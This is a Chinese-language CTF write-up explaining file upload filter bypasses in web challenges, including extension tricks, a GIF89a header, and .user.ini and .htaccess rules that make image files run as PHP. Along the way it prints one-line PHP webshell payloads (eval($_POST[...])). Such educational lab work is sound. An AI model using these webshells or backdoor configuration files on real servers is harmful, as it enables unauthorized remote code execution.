ctf web中的文件上传绕过之.htaccess与.user.ini的应用
一、引入题-upload1- 修改后缀绕过前端
这题就是一道非常简单的文件上传题。前几天做的时候还只是会了这一种方法,今天在做另外一道题目的时候有get到了很多新的解题姿势。先复习一下这题:
之前做的时候就知道是这样做的,但是却不知道为什么这样做
原理
因为抓包的时候的response就会发现部分源码,这在文件上传类型题中属于是前端检测,所以想要绕过前端检测的话就很简单,基本上就是先发一个正常的文件上去,然后在request头里面改成我们想要的格式与内容就可以了
二、easyupload - 利用.user.ini 绕过后端
这题我主要参考了这篇博客攻防世界-web-easyupload-CSDN博客
回到easyupload这道题本身上来。进入环境
并没有提示需要上传什么样的文件
然后我就在网上一顿搜索,然后各种试,发现怎么都无法成功绕过,最后没办法看的题解,发现是只要含有php就会报错。而题解给出的应对方法是php的短标签
短标签
1 | eval($_POST['a']); |
但是其实这是echo的简写,也就是<?php echo的简写,如下图。其实还有另一种简写,如下图的第三个方式,但是这种方式容易被限制,本题就是被限制了,只能使用上面那种方法。
后缀加.绕过
这题由于对文件名进行了限制,所以普通的在request界面改后缀为.php是无法成功传入文件的。但是如果后缀是.php.就可以通过检测。我猜测他的后端代码是检测第一个.后面的字符串,而win系统中会自动忽略第二个.,所以也可以实现文件上传。但是这样下来还有一个问题,就是这题只有index.php可以访问,其他的php文件均不可以访问,所以只能利用.user.ini方法了。
大写绕过
但是本题还有另一种绕过方法,经过我的测试我发现只有在文件名字上是不分大小写的限制php,而正文内容则只限制小写php,又因为php中的并不区分大小写,所以我们可以将一句话木马改成下面即可。
1 | eval($_POST['ant']); PHP |
文件头绕过
但是绕过了对内容的检测,发送过去的时候发现还有限制,提示我们的文件类型有问题。我们已知是图片格式就行,而此时已经有了相关的请求头,没有别的估计就只差一个请求头了。这里我们加上GIF89a的文件头。很奇怪这是gif的文件头,但是我上传的类型是jpg的,也可以通过检测,但是如果加的是jpg的文件头就不行。这是一个问题。。
反正加上文件头之后就可以上传成功了。这时候就可以肆无忌惮的传我们的文件了。
.user.ini的利用姿势
主要参考这篇讲.user.ini原理的博客.user.ini文件构成的PHP后门 - phith0n (wooyun.js.org)
原理很简单,就是说如果在文件夹下已有正常的可以打开的php文档,就可以利用.user.ini来进行getshell。
而这题符不符合呢?答案是非常符合。在抓包的时候我就发现了在上传文件夹下有index.php文件,天真的我以为是给的检测源码,但是打开却发现全是乱码,根本看不了,估计就是出题人故意告诉你可以用.user.ini方法的。
而关于为什么不用.htaccess方法,下面我会再讲。继续这题
我们就可以根据之前的文件头先构建.user.ini,如下
主要代码是,使得打开其他的php文件时会自动包含02.jpg
1 | auto_prepend_file=02.jpg |
接下来就是构造02.jpg,如下,传入一句话木马
这样就可以连接蚁剑了,在上层目录中获得flag
三、利用.htaccess的文件上传
这个知识点我在攻防世界上并没有找到类似的题目,只能去ctfhub上开启一道简单的应用题了。如下
进入环境并且抓包,发现部分源码。发现设置了黑名单,但是没有限制.htaccess。所以我们可以利用这个来实现文件上传
利用姿势
从网上搜到的常规利用方法如下,主要就是一句话代码:
1 | AddType application/x-httpd-php .png |
这句话的意思就是使得之后服务器中的所有png文件都以php进行解析。也就是可以把png文件当做php来用,这就很无赖了啊。
这里我们也可以知道为啥上一道题不可以利用htaccess了,因为这句话代码里面含有php,会被过滤掉,所有不在考虑范围内。
回到这题,根据上面的先构造.htaccess,如下
然后构造jpg文件,里面内容就是一句话木马
全部上传完之后就可以蚁剑直连了!
然后获取到flag
本文完。